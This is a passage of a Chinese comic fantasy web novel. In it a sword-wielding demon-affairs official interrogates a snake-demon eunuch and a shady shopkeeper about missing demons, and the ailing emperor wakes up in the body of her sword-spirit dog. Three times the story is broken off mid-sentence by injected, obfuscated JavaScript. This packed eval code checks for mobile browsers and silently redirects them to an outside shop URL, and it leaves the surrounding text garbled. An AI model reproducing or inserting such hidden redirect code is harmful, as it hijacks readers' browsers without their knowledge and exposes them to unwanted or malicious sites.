没人愿意给臭和尚送礼物,他金内侍就自己送,编了各种风花雪月感人肺腑的借口,绞尽脑汁地往他眼皮子底下送,结果呢,臭和尚瞎了狗眼,不是滚就是闭嘴,哼,活该当一辈子和尚。 金内侍将蓬莱宫扫荡一番,又回值房拿上早已收拾好的包袱,直接变回原形,大嘴一吞,将家当尽数收进肚子里,趁着夜色窸窸窣窣地往宫外梭去。 宫门森严,一个大活人若要溜出去那自是不易,但一条小活蛇要溜出去却简单得很。 这一路畅通无阻,半个时辰后,蛇已在宣仁门外,大吸一口闷热中夹杂着马粪和青草味的空气,金内侍忍不住欢呼道:“这是自由的味道啊!臭和尚,小爷我走了!” “走?你要去哪儿呀?” “去——啊啊啊啊啊!!!” 这半夜三更的,幽幽的女声忽然贴在耳边响起,就算是妖怪也给吓了个半死,金内侍更是整条蛇都吓僵了,白眼一翻尾巴一抻,就地扑倒开始装死。 奚萦将小绿蛇拎在手中转圈玩儿,刚转了没几下,哗啦啦抖落一地的香囊手帕,她嫌弃得直撇嘴:“你这变态蛇,这是洗劫了掖庭多少宫女闺房,畏罪潜逃了?” 金内侍被转得眼冒金星,听她冤枉自己偷东西,更是委屈:“没、没有,这些,这些都是我自己的东西!” 嚯,那更变态了啊! 不过奚萦并非为了抓小偷而来,也懒得跟他多争辩,掐住蛇头迫使他张开嘴,弹了颗丹药进去,动作粗鲁地捏着蛇下巴往下一撸,丹药瞬间入腹。 金内侍想死的心的都有了,他修行三百年,好不容易化了形,一直兢兢业业地当条善良蛇,为人类和妖族的爱情事业呕心沥血,为何今日竟遭此横祸? 天道不公啊! “天杀的臭和尚,肯定是你在背后咒我了,这死女人也不知道从哪儿冒出来的,是不是给我喂了毒药?完了完了,我要死了,娘啊,救命啊!这挨千刀的恶毒女人,我诅咒你这辈子下辈子下下辈子都当尼姑,头发剃光孤独终老……” 听这蛇越骂越脏,奚萦伸手将他的嘴一捏,森然道:“少说废话,我问你,你是何时入宫的,可在宫中见过其他妖族?” 奚萦刚一松手,金内侍的嘴就不受控制地叭叭说了起来:“我半年前入宫的,这宫里哪有什么别的妖,我反正是没见过。如果有的话,那肯定是装得太好,骗过了我的眼睛。哎呀怎么回事,我为什么要回答这恶毒女人的问题?可是我的嘴巴好像不受控制了,我艹,好毒的毒药——” 见他又不受控制地开始说废话,奚萦再次伸手捏住蛇嘴,略顿了顿,从袖中摸出半枚双鱼纹样的羊脂玉佩递到金内侍眼前,冷声道:“仔细看看,见过这枚玉佩没有?” 金内侍看了半晌,摇头表示没见过。 奚萦收起玉佩,继续问道:“皇帝的头疾是怎么回事?蓬莱宫的阵法是谁设下的?阵眼在何处?蓬莱宫中可有密室或者暗道?你可曾在蓬莱宫中见到过异常的人或是东西,比如有妖气或是血煞之气的物件,修习邪道的人,或是,鬼魂。” 金内侍知无不言:“臭和尚的头疾连太医都看不明白,我哪儿知道是怎么回事啊,反正就是随时都在头疼,疼得睡不着觉,疼得听不了任何尖利高亢的声音,他挺了这么久还没疯,也是个狠人了。你说的阵法是不是护卫寝殿的斗艮阵?那是老巫婆让我设下的,说是保护我的蛇身安全,啊呸,我本想带走的,结果那阵盘长进墙里拔不出来了!老巫婆骗我!至于异常嘛,宫里最异常的人就是那臭和尚,他个大男人,还是皇帝,结果怕女人,那病也邪性,人也邪性,他肯定偷偷修邪道了!死和尚,下辈子也当和尚,跟这臭尼姑一人一个山头——” 后面纯粹是公报私仇了,奚萦懒得听,再次捏住蛇嘴,追问道:“老巫婆是谁?她让你进宫来的?” 得了自由的蛇嘴再次竹筒倒豆子般叭叭起来:“巫心柏啊,雍都妖市万宝楼那黑心老板,她骗我说后宫佳丽三千共用一个皇帝,自来便是世间最盛产嫉妒的地方,保管我去了天天躺着吃饱,她还送了我一套斗艮阵,说只要我在蓬莱宫待满三年,这套阵盘就归我了,我可真是信了她的邪,就这破皇宫,皇帝当和尚,后妃当尼姑,他们清心寡欲生死不见,可把我给饿惨了,缺了大德了这些凡人……” 听到这里,奚萦都忍不住想笑,幸亏有面纱帮她维持着高冷凶人形象。 好心让金内侍倒了会儿苦水,奚萦继续道:“走吧,带我去见这位巫老板。” 脑袋还在人手中拿捏着,金内侍也不敢反对,老老实实给奚萦带路。 但他身体很老实,心却老实不起来,一路上嘴不由己将自己卖了个干干净净。 “哇这女人好凶残,她该不会要杀蛇取胆吧?不对不对,我才三百年道行而已,这么牛逼的女人应该看不上我的胆吧?莫非她是要杀老巫婆?那我倒是支持,甚至还可以帮她摇旗呐喊一番。哎呀这到底是什么歹毒的丹药,我这嘴怎么就闭不上呢?完了完了,这女人的眼神好可怕,她是不是真的想杀我啊?救命啊,我真的不是故意这么口无遮拦的,这女人,啊不不不,不能这般无礼,这位女侠也不知道是何方神圣,怎么这么可恶,啊不,这么厉害,啊啊啊救命……” 噼里啪啦说了半个时辰,妖市还没到,金内侍已经开始口吐白沫、舌头发僵,就这样也无法阻止他将丰富多彩的内心戏和盘托出。 奚萦也是无语,这妒蛇修为实在太烂,再加上饿了太久,这才导致诚实丹的效果好得出奇,她也终于听烦了,忽然想起还有解药来着。 翻找半天才找到诚实丹的解药,奚萦赶紧塞进金内侍嘴里,解救了他麻木的嘴和更加麻木的心。 * 雍都有宵禁,但各坊内仍旧有精彩的夜生活,不过妖市并非开在人类聚居的坊市中,而是位于雍都昼与夜的交界之地。 这个说法可能听上去比较虚无缥缈,实际上进入妖市并不难,只需要在化仙池岸边随便捡块石头,以妖力或灵力轻扣三下后扔进池水中,便能进入妖市了。 不过化仙池在南,皇宫在北,得穿过整座都城过去,奚萦他们路上还是费了点时间。 投石问路之后,一人一蛇顺利进了妖市。 奚萦第一次来雍都的妖市,刚一进来就差点被天上明晃晃的太阳和月亮晃花眼。 没错,所谓昼夜交界之地,就是太阳和月亮同时挂天上的地方。 奚萦忍不住在心里吐槽道:“无损堂能花这么大的手笔割裂时空,却偏偏没钱给本司主买藏鲸剑,封狐狸真可恶啊!” 奚萦一身黑衣蒙面的装束,走在妖市中却并不显眼,无他,这里奇装异服奇形怪状的家伙实在太多了。 满大街都是顶着猫耳朵、狗尾巴、牛角、马蹄之类的人形生物,或者长着人脑袋的蛇虫鼠蚁,有用黑斗篷捂得严严实实的,也有浑身上下只挂几根布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乌鸦火烧屁股似的飞走了,金内侍也一脸呆滞地看着奚萦,喃喃道:“我的个乖乖啊,女侠您竟是妖务司的大人……” 他马上又兴奋起来:“女侠,大人,您一定要好好查这老巫婆的帐啊!这万宝楼黑心得很,肯定做假账了,您一定要罚她,罚得她倾家荡产,再把这店也收了!” 奚萦没搭理他,恰在此时,一盏幽暗的烛火在远处亮起,伴随着一道清越动听的女声飘来:“哎呀,封长老恕罪,小仆脑子不好,有什么得罪之处还望您海涵。您这边请,小黑,去给两位贵客奉茶。” 烛火靠近后,奚萦才看清这位巫老板的模样,是个身着墨绿长裙的美貌女子,她肤色极白,在黑暗中极是显眼,瞳孔却是暗金色,被烛火照得熠熠生辉。 巫老板似是没看到金内侍,只引着奚萦往里间走去,惹得金内侍十分不满地哼了一声。 两人走进一间灯火通明的雅舍,分宾主落座,金内侍则被扔到茶几上,名叫小黑的乌鸦变作一名垂髫小童,奉上香茶后赶紧离去,像是生怕奚萦找他的茬。 奚萦开门见山问道:“巫老板,这条妒蛇你认识吧?” 巫老板美目流转,轻睨了盘在杯子上喝茶的金内侍一眼,柔声道:“有过两面之缘,算是认识吧。” 奚萦点点头:“那巫老板能说说,为何会派个只有两面之缘的蛇妖去蓬莱宫,保护皇帝?” 她着重强调了“保护皇帝”这四个字,巫老板果然面色微变,先是惊讶,而后又有点羞涩,最后轻哼一声,忸怩道:“还能为什么,妾身心系辰哥哥,当然要派人去保护他了。” 5. 真·龙涎香(已修) 此话一出,金内侍呛得连连咳嗽,蛇身颤抖扭曲,打成了个死结,半晌说不出话来。 奚萦被面巾遮住的嘴角也狠狠抽了抽,平复了心情方才漠然开口:“这样啊,那你是何时何地认识你的,辰哥哥的?既然喜欢他,为何不亲自入宫去保护他,还能常伴他身侧?” 巫老板赧然一笑,目光悠远,似是陷入了美好的回忆之中。 “那是昭明十三年的冬天,妾身刚化形为人,法力低微,又不识路,一不小心误闯进皇家猎场,被狩猎的王孙公子们射伤了腿,辰哥哥心地良善,救了妾身,待妾身养好伤后,又放妾身离开,那时妾身便喜欢上他了。唉,妾身自然也想亲自去保护辰哥哥,可是妾身本体乃是一株柏树,不好随便移栽啊,何况柏树多生长于坟地,不吉利,妾身也不好去宫里讨人嫌哪。” 金内侍听得目瞪口呆,脑海中浮现出景辰那张冷冰冰的脸和更加冷冰冰的嘴,怎么也无法想象出“心地善良的辰哥哥”是什么模样,也忽略了昭明十三年的“辰哥哥”还是个两岁奶娃。 奚萦却漠然道:“万宝楼做假账,罚银一万两——” 这回被呛了的是巫老板,她再也维持不住少女怀春的娇羞神色,咳了两声才讪笑道:“封长老说笑了,说笑了……” 奚萦瞥她一眼,无情加码:“停业三个月,租金涨五成——” “别别别,妾身说实话,说实话还不行吗?是这样的,妾身的心上人不是辰哥哥,是辰哥哥他爹啦,先帝临终前托妾身照顾他唯一的儿子……” 奚萦冷笑:“永久停业,禁止巫心柏入雍都妖市——” 巫老板哀嚎一声,原本苍白的脸泛起红晕,不知是气的还是吓的,她不管不顾扑过来抓住奚萦的手,痛哭道:“封长老!妾身知错了,妾身说实话,其实妾身是想偷那小皇帝的口涎,制成龙涎香卖给青凤少主,谁知道这小皇帝重病缠身,龙涎沾染了病气,不能用了,妾身只好先将他保护起来,想办法治好他的病,这样才有长长久久的货源啊!这事儿说出来有些羞人,妾身不好明言,还请封长老恕罪啊!” 这回奚萦实在也冷静不了了,她啊了一声,掏了掏耳朵,怀疑自己听错了:“龙、龙涎香?是这个龙涎?” 巫老板哀哀戚戚地点头:“真龙天子的口涎,最正宗不过了,青凤少主喜欢得紧。” 金内侍忍不住骂道:“你们神经病啊!恶心死了!” 巫老板半边身子趴在奚萦腿上,漂亮的桃花眼眨啊眨,看得奚萦一阵恶寒,连忙将人拎开,气道:“少胡说八道!” 巫老板委屈:“妾身这次真没骗您!” 奚萦怎么也不敢相信这番鬼话,但她已经用永久停业、禁入妖市来威胁这巫老板了,若还是逼不出她的真话,那恐怕杀了她也没用。 暂时放弃追问巫心柏的目的,奚萦问起别的事:“巫老板在雍都多年,可曾听闻妖族在宫中离奇失踪之事?” 巫老板努力回想了一番才道:“没听说过,妖族不似人类那般有户籍、亲族,且大多随性散漫,活得又长久,三年五载不露面,那也是正常事啊,何况妖族多好勇斗狠之辈,谁知道哪天被人寻仇找事儿,死在犄角旮旯里也不奇怪。” 这话确实在理,妖务司接到的失踪案,也多是有亲族至交的妖来报案的,由此反推,实际失踪的妖族数量恐怕远不止这二十几个,这也是为何奚萦会重视此事,如此大量的妖族莫名失踪,且持续时间长达十年以上,若是有人在背后谋划什么,那必然不是小事。 奚萦又拿出那半枚玉佩,以及一支残破的竹笛子,一支梅花金簪,一沓标注了姓名、年纪、妖种、失踪时间等信息的画像,示意巫老板辨认。 三件证物乃是近三年内失踪的赤狐、玄鹿、瞿如遗留,画像则包含所有上报妖务司的失踪妖族。 巫老板将证物和画像一件件仔细看完,末了摇头:“妾身都不曾见过。” 奚萦点点头,沉声道:“既是如此,那便不多打扰巫老板了,告辞。” 她有些失望,但并未多说什么,这巫老板油滑得很,嘴里就没一句实话,第一次见面问不出什么也是正常的。 巫老板干笑:“不打扰不打扰,封长老再坐会儿嘛,那个罚款……” “暂且留着,以观后效。” 巫老板的干笑变苦笑,只得起身送奚萦。 金内侍见仇人吃瘪,笑得嘴角都快咧到尾巴尖上。 临出门前,巫老板忽然道:“封长老,有件事不知当讲不当讲……” 奚萦:“讲。” “是这样的,妾身看了那沓画像,发现一个规律,呃,也不算规律吧,只是有点蹊跷的地方,就是这些妖族具有延寿强体的特性。” 奚萦脚步顿住,转头看向巫老板,目光幽深:“延寿?” “对,比如玄鹿、仙鼠、桃屋、丹鱼、凭霄雀这几位,都有食其血肉可延寿的传闻,而赤狐、瞿如、水杉、旋龟、罗罗在妖族中也是以长寿著称的种族,再则,妖族寿命本就远长于人类,故而,故而有不少无法入道却渴求长生之人,会将主意打到妖族身上,尤其是……” 她意味深长地望向皇宫所在的正北方,不再言语。 奚萦自小同妖族生活在一起,本身也是早已入道的修行者,一直没有意识到长达几百几千年的寿命对妖族是寻常,对某些凡人来说却是可望而不可及的终极梦想,如今被巫老板一语道破,她才恍然大悟。 若真是当权者为求长生残害妖族,那疑点最大的应是曾经的太子、如今的皇帝,景辰。 这位坐拥天下却重病缠身,最渴求的是什么,不言而喻。 可是巫老板的态度也很奇怪,她忽悠金内侍入宫,在蓬莱宫布下斗艮阵,看上去是在保护皇帝,如今却又提醒奚萦皇帝可疑,究竟是为什么? 奚萦暂时没能理清其中头绪,只对巫老板点点头,提溜着金内侍,跟着巫老板走出雅舍。 两人刚走出雅舍,旁边的门也同时打开,一个穿着黑斗篷,浑身上下只露出一点下巴的人走了出来,沉声道:“巫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232543|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板,这次的妖丹品相——” “咳,那个封长老啊,有空多来坐坐,多来坐坐。” 巫老板大声打断了那人的话,他这才看到跟在巫老板身后的奚萦,立马转身回了雅舍,顺手关上了房门,动作极快。 奚萦目光扫过满脸尴尬的巫老板,并未多说,抬手示意她带路。 离开万宝楼后,奚萦不紧不慢地走到另一处街口,随意寻了间人多的铺子进去,片刻后再出来时,已经是一个身着灰色劲装,容貌平凡的青年男子。 金内侍被她塞在衣袖中,眼见着她又往万宝楼的方向去,战战兢兢道:“女、女侠,有件事——” 奚萦不耐烦地打断他:“说。” 这一个字一个字往外蹦的说话风格,让金内侍心中升起熟悉的燥怒,但蛇在屋檐下,不得不低头,他只好快速说道:“您是不是要回去找那个买妖丹的家伙?我认识他,那是宣王府的亲卫统领。” 奚萦脚步顿住:“这你都能认出来?” 金内侍当她在夸自己了:“那当然,我眼睛可厉害了!不过我不是认出他的脸,是认出了他的声音和手腕上的刀疤。” 奚萦夸道:“不错。” 然后继续快步往万宝楼去。 金内侍急了:“女侠,女侠,我的意思是,既然已经认出是宣王府的人了,要不,要不咱们低调点,下次再找机会去查?” 下次就别带上我了,我害怕。 奚萦根本不搭理他,身法如风,几个纵跃便跳上了万宝楼旁边一座三层小楼的房顶,敛息匍匐下来,整个人与青灰色的瓦片融为一体。 金内侍也不敢说什么了,只假装自己是条死蛇,缩在奚萦衣袖中一动也不敢动。 约莫一刻钟后,万宝楼中走出穿着同款黑斗篷的两人,从身形上看,其中一个应该就是先前那买妖丹之人。 两人步履匆匆,快步往巷子外走去,走出巷口后径直右转,那是妖市出口所在的方向。 奚萦居高临下,将两人的行踪尽收眼底,待他们走入人群中后,她才闪身飞到另一处较高的屋顶,继续盯梢。 妖市出口只有一处,但传送出去后所在的位置却不是固定的,这是为了防止有人不安好心,专门在外面出口处打劫。 但这也导致奚萦没办法在外面堵人,眼看着两人将要离开,她想了想,左手无名指微动,从金内侍所在的衣袖中牵引出一点青光,青光落入奚萦手中,变作一柄青玉短剑。 这是她的本命剑富贵儿,先前放在金内侍身上,成功抓住了这条逃跑的蛇,这会儿得给它换个新任务了。 奚萦指尖点上剑柄那威风凛凛的狼头,灵力灌注,狼头亮起,她将短剑朝底下的黑斗篷人一抛,轻声道:“富贵儿,跟上他。” 青玉短剑凝成一粒微光,朝黑斗篷人疾速飞去,在即将悄无声息贴上那人衣袂时,不可思议的事情发生了。 只见青光忽然消失,一条半大白狗凭空出现,呆愣了瞬间后,嗷嗷惨叫着,朝那人脑袋扑去。 6. 你好呀富贵儿(已修) 熙和二年,六月初十。 对景辰来说,这是十分平常的一天。 天未亮时他就睁眼醒来,头痛欲裂浑身疲惫,残存的乱梦在脑子里搅来搅去,让他有种踩在虚实之间的飘忽感,他拖着残躯更衣、洗漱、用膳,为治水赈灾的事伤透脑筋,被底下的蠢货们气得差点吐血,强撑着见了辅政的宣王和户部、工部尚书,最后带着焦虑、愤怒和绝望闭上眼,祈求下一刻就能顺利入睡。 最好是不用再醒来。 不用再忍受这种漫长到望不见尽头的,黏在头皮上、刻进脑子里、撕扯着灵魂的痛。 景辰每天晚上入睡前都在这样祈祷着,可惜每次睁眼都只能陷入更深的绝望。 所以有时候他就算醒了也不想睁眼,只麻木地数着太阳穴狂跳的次数,等着金内侍担心他是不是死了,犹豫着轻声唤他。 不过今天好像有些不一样,意识忽然清醒的时候,景辰觉得自己好像正在疾速下坠,耳朵里更是忽然涌入各种嘈杂的声音,乱糟糟的却又极清晰,跟惯常听到的混沌嗡鸣不同,他甚至能分辨出马蹄落在石板路上的答答声和小孩的尖叫声。 这好像,是在闹市街头? 情形诡异,景辰不得不睁开眼。 然后,他看到两个黑黢黢的人形物体在眼前不断放大,而自己似乎马上要砸到这个人形物体了。 “谁?!” 出于本能,景辰大喊了一声,然后他听到自己嘴巴里发出了一声极响亮的“汪”。 景辰吓得差点咬了自己舌头,他失控大叫起来:“嗷嗷嗷嗷嗷……” 那黑衣人似乎也被吓了一跳,下意识拔刀砍来,景辰也下意识伸手一挡。 叮的一声脆响,景辰只觉一股大力从胳膊上传来,将他整个人掼了出去。 但奇怪的是,胳膊竟然,还在? 景辰倒飞出去,砸在一只看热闹的狸猫身上,狸猫惨叫一声,一爪挠向景辰的脸,结果换来一声更惨的大叫,狸猫捂着爪子落荒而逃,一边逃一边骂:“可恶的狗妖,爷记住你了!” 景辰呆呆看着逃跑的狸猫,以及周围不断倒退的,各种人腿、鸟腿、马腿、狗腿之类的东西,似乎终于意识到有什么不对,他颤巍巍抬起手,顿时眼前一黑。 这这这,这是什么?狗爪子? 景辰不敢相信,晃了晃手,眼前的狗爪子也跟着晃了晃,他还是不信,抬手朝自己脸上摸去,摸到一手的毛。 景辰倒吸一口凉气,而恰在此时,黑斗篷人的刀再次兜头落下。 “富贵儿,咬他啊!” 耳边忽然响起一个陌生女人的声音,有点着急,有点恨铁不成钢。 景辰这会儿是懵的,但这具身体潜藏的本能让他下意识张嘴,一口咬在刀刃上,又是一声令人牙酸的金玉相击之声。 这次是真牙酸,景辰的牙酸。 这种用嘴接刀的酸爽,是景辰二十年人生中从未体验过的刺激,他整个人,哦不,整条狗都被震麻了,舌尖尝到了铁锈的腥味。 用嘴接刀这种鬼话果然听不得! 景辰懊悔不已,立马张嘴吐出刀刃,干呕了两声。 黑斗篷人却没有放过他的意思,当即抽刀横劈,打算砍断这怪狗的脖子。 然而刀锋尚未落下,一股浓烟忽然迎面扑来,遮挡住黑斗篷人的视线,逼得他连忙捂住口鼻收刀后撤。 浓烟很快散开,味道辛辣至极,呛得那些看热闹的人和妖们咳个不停,开始乱跑乱叫。 黑斗篷人也在浓烟中被人冲撞了几次,待要再寻那怪狗时,早已失了踪迹。 “玄乙,算了,先离开这里。” 被称为玄乙的黑斗篷人闻言立刻恭敬应是,两人汇合,趁乱离开了妖市。 另一边,奚萦扔了颗辣椒烟,救下自家“富贵儿”后,迅速带着他赶往出口,抢在两个黑斗篷之前离开了妖市。 他们被传送到雍都城北一处荒宅中,此时一人一狗正就着月光大眼瞪小眼。 景辰完全搞不懂发生了什么,为何他好端端在蓬莱宫里睡觉,一睁眼却变成了闹市中的一条狗?而且也不知道这条狗是犯了什么王法,竟还被人拿刀砍? 还有面前这个外表是男人,说话却是女人声音的家伙又是谁?他先前所在的那个满大街奇怪生物,猫还会骂人的地方又是哪儿?为何一眨眼又到了这处破宅子? 这一定是在做梦吧! 可是做梦的话,为什么被刀锋割伤的舌头痛得这么真实啊? 而且,最重要的是,他的头竟然不疼了! 景辰一脑袋的问号,呆滞了片刻后,冷声问道:“你是谁?这是哪里?……” 可惜嘴巴好像不受他控制,他脑子里想问的问题,从嘴里出来就变成了连自己都听不懂的一连串“汪汪汪汪汪”,汪了几声后,他憋屈地闭了嘴。 奚萦已经将眼前这条傻里傻气的小白狗从头到脚,再从脚到头仔细看了好几遍,重点关注了他额头上那一撮苍青色的杂毛,隐约能看出是柄剑的形状,左手无名指也悄悄点了好几次,反复确认了一件事,这条狗,就是她的剑灵,她的富贵儿。 就算再失望,再不愿意相信,奚萦也只能劝自己接受现实,她期待了许久的剑灵,她最可靠最亲近的伙伴、战友,化形之后就是这条连凡人都打不过的废狗。 为什么是条狗?剑灵都化形了,不该是化作人形吗?就算不是人形,那至少也是狼啊,剑柄上刻的是威风的狼头啊! 废狗神色惊恐地汪了一阵之后,奚萦再次确认了一件令人失望的事实,这狗连话都不会说。 但再废的狗也是自己的狗,奚萦还是努力扯出了个亲切慈祥的笑,鼓励道:“富贵儿啊,下次打架不要怂,你的本体可是独山玉铸造的极品法宝,不是什么破铜烂铁能比的,你忘了我们曾在沅江底杀过一头入魔的金甲鳄吗?” 富贵儿,啊不,景辰茫然,富贵儿是谁?这条狗吗?这狗竟如此厉害? 反正他肯定是杀不了什么金甲鳄的,他连鸡都没杀过。 奚萦见他完全不在状态的模样,忍不住担心这狗的智商,略想了想,她从储物袋中找出一颗暗红色的丹药,趁傻狗半张着嘴发呆的时候,直接给他塞进了嘴里。 景辰震怒,刁民竟敢冒犯天子龙体! 他大力甩头,呸地一下将塞进嘴里的丹药吐到地上。 那颗暗红色的,看上去像是有毒的丹药滴溜溜滚了两圈,滚到了奚萦脚边。 奚萦蹙眉数落道:“嘿你还真成了只傻狗啊,这清虚丹多贵你不知道吗?要不是看你脑子出了点问题的份上,我才舍不得给你吃呢!” 她说着,直接弯腰捡起丹药,也不管上面粘了多少尘土草屑,直接给景辰塞了回去,怕他再吐出来,还强行捏住狗嘴,强迫他将丹药咽了下去,末了又在他惊恐愤怒的眼神中往狗头上抹了一把,口水灰尘什么的,全抹到狗头上了。 景辰差点气晕,他这辈子还没吃过沾了口水又裹了尘土的脏东西,这不男不女的家伙简直找死! 可惜此时狗为鱼肉,人为刀俎,景辰哪里犟得过奚萦,脏兮兮的丹药最终还是落进了肚子里。 景辰气得破口大骂,又是一阵愤怒的“汪汪汪汪”响起。 奚萦被他吵得头疼,方才沾了狗口水的那只手 奚萦当然听不懂狗语,但听不懂没关系,她可以随便翻译,汪声渐止后,她一脸欣慰地点点头:“嗯,我就知道我家富贵儿最懂事了,不用谢,虽然清虚丹也就百两黄金一颗吧,只要能帮你治好脑子,我没什么舍不得的,你也不必非得自己挣钱还给我,真的。” 神经病!朕没这么说! 景辰气得舌头打结,不想再看到这个可恶的怪人,当即转头就走,结果步子还没迈出去就被奚萦拎着后颈皮提溜起来,他立即本能地夹住尾巴缩起腿,身体很乖巧,嘴巴却依然凶狠。 在奚萦充满嫌弃、不解、烦躁的危险眼神中,景辰终于识趣地闭了嘴,脖子被人捏在手中的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232544|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实在有点吓人。 奚萦片刻后无奈叹息一声,暂时无暇深究富贵儿为何变成傻狗这件事,她伸指点在狗子毛发浅浅的粉嫩肚皮上,灵力从指尖溢出,化开清虚丹的药力,将之缓缓推向景辰四肢百骸。 指尖触到皮肤的刹那,景辰整条狗就是一麻,他的小肚子,清清白白二十年的小肚子,被人摸了? 虽然这具狗身不是自己的,但触感实在太真实了啊! 更尴尬的是,奚萦指尖往下一寸的位置,就是被他尾巴尖尖堪堪挡住的不能言说的物什啊! 苍天啊!! 奚萦可不知道在她化开药力的短短片刻之内,手底下这条狗经历了多么复杂的心路历程,完事儿后她将狗往地上一丢,叮嘱道:”待这儿别动。“ 也不管傻狗听没听进去,奚萦抖抖衣袖,将装死的金内侍抖出来,掐着七寸跟他商量道:“小妒蛇啊,你回去继续当差,帮我好好盯着你主子好不好?” 金内侍小命被人掐在手中,难道还敢说个不字?他连连点头:“好的,女侠大人,我都听您的!” 奚萦很满意他的识相,拍着蛇脑袋夸道:“嗯,我就知道你是条乖乖蛇,放心吧,替妖务司办事不会亏的,喏,这颗破境丹是这次的奖励。” 她将一颗浅碧色的丹药递到金内侍面前晃了晃,在他惊恐的目光中一把塞进蛇嘴里。 有诚实丹的经验在前,金内侍已经吓得说不出话来,以为被喂了什么定期发作的剧毒,顿时哭得直打嗝。 直到丹药化作暖流沉入丹田,而自己原本有点淤塞的经脉瞬间畅通了不少,修为也隐隐有突破的征兆,他才将一颗提到嗓子眼的心放下。 奚萦继续用骗小孩的可怕语气道:“不许偷跑哦,你就算跑到天涯海角,我也能在瞬息之间找到你的。” 金内侍是条识时务的蛇,他忙不迭点头:“女侠您放心,我,啊不,小人以后就是您的蛇了,您说往东,小人绝对不敢往西,您说打狗,小人绝对不去抓鸡——” “行了,废话就不说了,你回去吧,好好当差,需要的时候我会联系你的。” “小人遵命!” 金内侍终于能脱离魔爪,尾巴着火似的蹿了出去,飞快消失在夜色中。 他心情激动,恨不能马上回到蓬莱宫,回到景辰身边。 那臭和尚,啊不,陛下,可亲又可敬的陛下,跟这个妖务司的可怕女人比起来,简直就是圣人下凡佛祖降世! 不就是不喜欢女人嘛,不就是让他闭嘴让他滚嘛,这些都算得了什么啊! 陛下,您的金内侍回来了! 但金内侍不知道的是,他的陛下也落入了可怕女人的魔爪中。 打发走金内侍后,奚萦的注意力再次回到景辰身上。 景辰还是那副吓傻了的模样,姿势却换成了前脚踩后脚的古怪模样。 这个姿势怎么说呢,看上去真的像是脑子有大病啊!但景辰也没办法,这地方真是脏得要死,若非单脚站对于狗来说太难了,他一定会选择单脚站着。 毕竟皇帝陛下的脚底板也金贵得很,不能沾灰,梦里也不能! 奚萦是真的无语了,这条狗不仅胆小废柴,一身反骨,还洁癖,这哪是狗,这怕不是公主转世仙女下凡了吧! 但修道之人跟自己的本命法宝之间存在感应,这狗就是富贵儿没错,如假包换的,所以还是得抢救一下啊。 今晚还有点时间,她打算带狗去城外幽浮山中的灵泉泡一泡,有病治病,没病强身。 “走吧富贵儿,我们去幽浮山一趟。” 幽浮山? 听到这个熟悉的地名,景辰眼睛一亮,莫非他还在雍都城中? 但他很快就高兴不起来了,若这里真是雍都,幽浮山也真是雍都城外的那座幽浮山,那岂不是说明他真的变成条狗了? 这番大起大落的情绪落到奚萦眼中,又成了自家狗子有病的佐证,她轻叹一声,伸手将狗抄起,化作清风消失在原地。 7. 得给他找些男人(已修) 短短半个时辰之内,景辰经历了由人变狗,见过了满大街奇形怪状的妖物,被人拎着飞了两次,见过会说话的蛇,狗生虽短暂,却也算是见多识广了,因此被奚萦拎着直接走入一面光秃秃的崖壁时,景辰非常淡定,汪都没汪一声。 可惜他的淡定只坚持到走过崖壁而已,当奚萦忽然旁若无狗地开始脱衣服的时候,景辰恨不得戳瞎自己的眼珠子。 这个外表是男人,说话声音是女人的怪人,将他带入一处极隐蔽的山涧,然后开始宽衣解带,露出白皙如瓷的肌肤,纤细秀美的肩,盈盈若飞的蝴蝶骨…… 作为一个刚被人摸了肚子的纯情少男,被很多女人惦记着的皇帝陛下,景辰在这一瞬间产生了许多不可描述的联想,比如人在上狗在下,狗在上人在下…… 老天爷啊,这简直丧心病狂,太丧心病狂了!! 他伸爪捂住眼睛,连滚带爬地往来时的方向冲去,结果一头撞在山壁上,撞得眼冒金星。 无路可逃的景辰崩溃大叫:“住手!给朕住手!你这贼子若敢,若敢,朕定要诛你九族!” 奚萦听到这一连串尖利到破音的“汪汪汪”,脱衣服的手顿住,奇怪地回头看向地上尖叫的疯狗,疑惑道:“你又发什么疯?这处灵泉可是你主人我发现的,难不成你还想独占?” 景辰努力往石头缝里躲,根本没听清她说了些什么。 奚萦再次被傻狗无语到,过来蹲到他身旁,见这家伙还用前爪捂着眼睛,恍然大悟地“哦”了一声,直接上手扯开他后腿,往某个不可说的部位瞟了一眼。 “啧,原来是个公的啊,公的就是麻烦。” 惨绝人寰的狗叫声顿时响彻整片幽浮山。 奚萦作怪的手僵在半空,眼见着这只半大狗崽抱紧尾巴蜷缩成一团,墨黑溜圆的眼眸中满是惊恐,张着嘴冲自己嗷嗷哀鸣,仿佛一个受尽欺凌的半大少年,哭着控诉无良恶霸,好不可怜。 